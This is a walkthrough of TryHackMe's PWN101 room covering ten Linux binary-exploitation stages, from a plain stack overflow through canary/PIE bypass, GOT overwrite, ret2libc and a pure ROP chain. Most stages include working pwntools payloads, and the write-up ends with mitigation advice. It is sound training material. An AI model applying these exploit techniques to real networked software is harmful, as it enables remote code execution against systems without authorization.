mintshell
VI

PWN101

A ten-stage Linux binary-exploitation tour: stack overflow, variable overwrite, ret2win, ret2shellcode, integer overflow, format-string leak, canary+PIE bypass, GOT overwrite, ret2libc, and a pure ROP chain.

Platform
TryHackMe
Room
PWN101(external link)
Difficulty
Medium
Vulnerabilities
stack-based buffer overflow
7 min read

TryHackMe: PWN101 — A Ten-Stage Tour of Linux Binary Exploitation, from Stack Smash to ROP

A walkthrough of TryHackMe’s “PWN101”: ten standalone x86-64 binaries on ports 9001–9010 that teach Linux binary exploitation in order — overflow a buffer, overwrite a variable, return-to-win, inject shellcode, trip an integer overflow, leak with a format string, then beat a stack canary plus PIE, hijack the GOT, return-to-libc, and finish with a pure ROP chain. Each binary pops a shell on its port and drops a flag.

PWN101 is an authorized training room on TryHackMe; everything here was performed against legal practice binaries. All ten flags are redacted — values shown as THM{<redacted>} are real on the box but withheld here.


TL;DR — the whole progression

TL;DR

Ten challenges, each re-enabling one more mitigation: (1) stack overflow into a neighbouring variable → (2) overwrite two vars to exact magic values → (3) ret2win (no canary/PIE) → (4) ret2shellcode (NX off, leaked stack address) → (5) integer overflow (signed wrap to negative) → (6) format-string leak of the flag off the stack → (7) format-string leak of canary + PIE base, then BOF ret2win → (8) GOT overwrite with %n → (9) ret2libc (leak puts, compute libc base, call system) → (10) pure ROP syscall chain, no libc. Every binary ends in a shell and a flag.

The target

export IP=<target-ip>

Eleven ports answer (22/ssh plus 9001–9010). For each challenge you download the pwnNNN binary, make it executable, and attack the matching port:

chmod +x ./pwnNNN && checksec ./pwnNNN   # read the mitigations first
# develop locally with pwntools' process(), then flip to remote($IP, 900N)

The vulnerability: one bug class, mitigations peeled back one at a time

Every binary has the same root cause — a call to an unsafe input primitive (gets, scanf("%s"), or printf(user_input)) that trusts attacker-controlled length or format. What changes is which compiler mitigations are enabled.

Insight

PWN101’s whole design is that checksec is the map. No canary + No PIE → overflow straight to a win function (ret2win). NX off → put shellcode on the stack and jump to it. Canary on → you must leak the canary before you can overflow past it. PIE on → leak a code pointer to recover the base. Full RELRO → the GOT is read-only, so pivot to return-to-libc. No libc provided → build the syscall yourself with ROP gadgets. Read the mitigations, and the binary tells you the technique.

Step 1 — pwn101 (9001): overflow into a neighbour variable

A 60-byte input buffer sits next to a check variable. Overflowing the buffer flips that variable and the program gives you a shell — no return-address control needed:

payload = b"A" * (0x40 - 0x4 + 1)      # overflow the buffer into the adjacent var
# remote($IP, 9001)  ->  cat flag.txt  ->  THM{<redacted>}

Step 2 — pwn102 (9002): overwrite two variables to magic values

The win branch is if (local_c==0xc0ff33 && local_10==0xc0d3) system("/bin/sh"). Overflow 104 bytes, then write both values (little-endian):

payload = b"A"*104 + p32(0xc0d3) + p32(0xc0ff33)
# THM{<redacted>}

Step 3 — pwn103 (9003): return-to-win

checksec: no canary, no PIE. Classic ret2win — overflow to the saved RIP (offset 40), add a ret for stack alignment, then return into admins_only():

payload = b"A"*40 + p64(0x401377) + p64(0x401554)   # ret ; admins_only
# THM{<redacted>}

Step 4 — pwn104 (9004): return-to-shellcode

checksec: NX disabled (stack is executable). The program even prints a stack address. Drop a NOP sled plus a 27-byte execve("/bin/sh") shellcode at the buffer start, overflow RIP (offset 88), and jump into the sled:

io.recvuntil(b"I'm waiting for you at "); leak = int(io.recvline(),16)
payload = b"\x90"*16 + shellcode + b"A"*(88-16-len(shellcode)) + p64(leak+16)
# THM{<redacted>}

Step 5 — pwn105 (9005): integer overflow

No memory corruption at all — just signed arithmetic. Two positive 32-bit ints whose sum exceeds 0x7FFFFFFF wrap to a negative number, and the (int)result < 0 check pops a shell:

2147483647 + 1  ->  -2147483648   (0x80000000)
# enter 2147483647 then 1  ->  THM{<redacted>}

Step 6 — pwn106 (9006): format-string information leak

The program does printf(user_input). Because the flag is already on the stack, a chain of %p prints it out as little-endian qwords you reassemble:

payload = b"%6$p-%7$p-%8$p-%9$p-%10$p-%11$p"
# unhex + reverse each qword  ->  THM{<redacted>}

Step 7 — pwn107 (9007): bypass canary + PIE

checksec: canary and PIE both on, plus a format-string bug. Use the format string to leak two things, then overflow:

# leak: %13$p = canary (16 hex, ends in 00), %19$p = a code pointer (PIE base)
io.sendline(b"%13$p-%19$p")
pie_base = pie_leak - 0x992 ; get_streak = pie_base + 0x94c
# overflow: 24 bytes, restore the real canary, 8 bytes saved RBP, return to get_streak
payload = b"A"*24 + p64(canary) + b"B"*8 + p64(pie_base+0x6fe) + p64(get_streak)
# THM{<redacted>}

Step 8 — pwn108 (9008): GOT overwrite

PIE is off and the GOT is writable, so a format-string write (%n) can repoint a library function’s GOT entry to a win function. Overwrite puts@GOT with holidays() (0x40123b); the next puts call runs win:

payload = fmtstr_payload(10, {elf.got['puts']: elf.symbols['holidays']})
# THM{<redacted>}

Step 9 — pwn109 (9009): return-to-libc

No win function, no PIE, but no libc leak either — so leak one. First payload: pop rdi; ret → puts@plt(puts@got) → return to main, which prints libc’s real puts. Identify the libc from the leak, then call system("/bin/sh"):

# leak
payload = b"A"*40 + p64(pop_rdi) + p64(elf.got['puts']) + p64(puts_plt) + p64(main)
libc_base = leaked_puts - libc.sym['puts']
# shell (note the extra ret for 16-byte alignment)
payload = b"A"*40 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
# THM{<redacted>}

Step 10 — pwn110 (9010): pure ROP, no libc

The finale gives you no libc, so build execve("/bin/sh", 0, 0) entirely from gadgets in the binary: write /bin/sh into .bss, zero rsi/rdx, set rax=59, and syscall:

payload  = b"A"*40
payload += p64(pop_rdi) + p64(bss) + p64(pop_rdx) + b"/bin/sh\x00" + p64(mov_rdi_rdx)
payload += p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(59) + p64(syscall)
# THM{<redacted>}

Impact

Critical

Educational — but every stage is a production-grade RCE class. These binaries are intentionally vulnerable, yet each illustrates a bug that, in real software reachable over a network, is remote code execution (CVSS 9.8-class): stack and integer overflows, format-string read/write, GOT hijacking, and ROP-based control-flow hijacking. The progression is exactly how a modern exploit is built once a single mitigation is missing or bypassable.

Fix

  1. Compile with every mitigation: -fstack-protector-all (canary), NX (default), -fPIE -pie (ASLR for code), and -Wl,-z,relro,-z,now (Full RELRO, read-only GOT). Each one alone defeats one of these challenges.
  2. Never use unsafe input functions. Replace gets with length-bounded fgets, and scanf("%s") with a width specifier; never pass user input as a format string — always printf("%s", input).
  3. Validate integer arithmetic for signed overflow (or use checked/unsigned types) before using a result in a security decision.
  4. Keep ASLR on system-wide; it forces an attacker to leak before they can aim.

Takeaways

  • Run checksec first, every time. The enabled mitigations choose the technique — the bug class barely changes across all ten.
  • A leak is a prerequisite, not a bonus. The moment canary or PIE is on, step one is always “leak it” (usually via the format-string bug).
  • Follow the GOT. Writable GOT + a win function = GOT overwrite; Full RELRO closes that door and pushes you to ret2libc or pure ROP.
  • Not every “pwn” is memory corruption. pwn105 is won with arithmetic alone — read the logic before reaching for a payload.

Thanks for reading. PWN101 is the cleanest possible ladder through Linux userland exploitation: the same unsafe read, ten times, with the defences switched back on one by one until you are hand-rolling a syscall out of gadgets.